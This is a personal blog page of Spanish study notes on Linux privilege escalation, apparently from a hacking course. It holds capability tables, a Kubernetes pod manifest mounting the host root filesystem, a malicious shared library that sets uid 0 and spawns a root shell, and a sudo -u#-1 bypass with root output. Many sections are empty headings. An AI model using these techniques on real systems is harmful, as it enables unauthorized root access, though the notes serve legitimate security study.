Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

Linux Privilege Escalation

Enumeration

Path Abuse

Setuid permissions

Capabilities

Capacidad Descripción
cap_sys_admin Permite realizar acciones con privilegios administrativos, como modificar archivos del sistema o cambiar configuraciones del sistema.
cap_sys_chroot Permite cambiar el directorio raíz para el proceso actual, permitiéndole acceder a archivos y directorios que de otro modo serían inaccesibles.
cap_sys_ptrace Permite adjuntar y depurar otros procesos, potencialmente permitiendo acceder a información sensible o modificar el comportamiento de otros procesos.
cap_sys_nice Permite aumentar o disminuir la prioridad de los procesos, potencialmente permitiendo acceder a recursos que de otro modo estarían restringidos.
cap_sys_time Permite modificar el reloj del sistema, potencialmente permitiendo manipular marcas de tiempo o causar que otros procesos se comporten de manera inesperada.
cap_sys_resource Permite modificar los límites de recursos del sistema, como el número máximo de descriptores de archivos abiertos o la cantidad máxima de memoria que se puede asignar.
cap_sys_module Permite cargar y descargar módulos del kernel, potencialmente permitiendo modificar el comportamiento del sistema operativo o acceder a información sensible.
cap_net_bind_service Permite enlazar a puertos de red, potencialmente permitiendo acceder a información sensible o realizar acciones no autorizadas.
Valor de Capacidad Descripción
= Este valor establece la capacidad especificada para el ejecutable, pero no otorga ningún privilegio. Esto puede ser útil si queremos borrar una capacidad previamente establecida para el ejecutable.
+ep Este valor otorga los privilegios efectivos y permitidos para la capacidad especificada al ejecutable. Esto permite que el ejecutable realice las acciones que la capacidad permite, pero no le permite realizar acciones que no estén permitidas por la capacidad.
+ei Este valor otorga privilegios suficientes y heredables para la capacidad especificada al ejecutable. Esto permite que el ejecutable realice las acciones que la capacidad permite y que los procesos hijos generados por el ejecutable hereden la capacidad y realicen las mismas acciones.
+p Este valor otorga los privilegios permitidos para la capacidad especificada al ejecutable. Esto permite que el ejecutable realice las acciones que la capacidad permite, pero no le permite realizar acciones que no estén permitidas por la capacidad. Esto puede ser útil si queremos otorgar la capacidad al ejecutable pero evitar que herede la capacidad o que los procesos hijos la hereden.
Capacidad Descripción
cap_setuid Permite a un proceso establecer su ID de usuario efectivo, lo que puede usarse para obtener los privilegios de otro usuario, incluido el usuario root.
cap_setgid Permite establecer su ID de grupo efectivo, lo que puede usarse para obtener los privilegios de otro grupo, incluido el grupo root.
cap_sys_admin Esta capacidad proporciona una amplia gama de privilegios administrativos, incluyendo la capacidad de realizar muchas acciones reservadas para el usuario root, como modificar configuraciones del sistema y montar y desmontar sistemas de archivos.
cap_dac_override Permite omitir las verificaciones de permisos de lectura, escritura y ejecución de archivos.

Enumerar capabilities

Abusar de cronjobs

Docker privilege escalation

Kubernetes privilege escalation

apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true
Creando nuevo pod

Shared Object Hijacking

void dbquery() { printf(“Malicious library loaded\n”); setuid(0); system(“/bin/sh -p”); }


- `gcc src.c -fPIC -shared -o /development/libshared.so`

## Sudo policy bypass
- Sudo permite con un especifico id de usuario ejecutar comandos como root.
- El id especificado se encuentra en el fichero `/etc/passwd`.
- Ejemplo: `cat /etc/passwd | grep cry0l1t3` => `cry0l1t3:x:1005:1005:cry0l1t3,,,:/home/cry0l1t3:/bin/bash`
- Podemos ver que este usuario tiene id 1005, si un id negativo entrase como sudo en procesar el id 0 que sería unicamente root.

```bash
cry0l1t3@nix02:~$ sudo -u#-1 id

root@nix02:/home/cry0l1t3# id

uid=0(root) gid=1005(cry0l1t3) groups=1005(cry0l1t3)

Wildcards spare tricks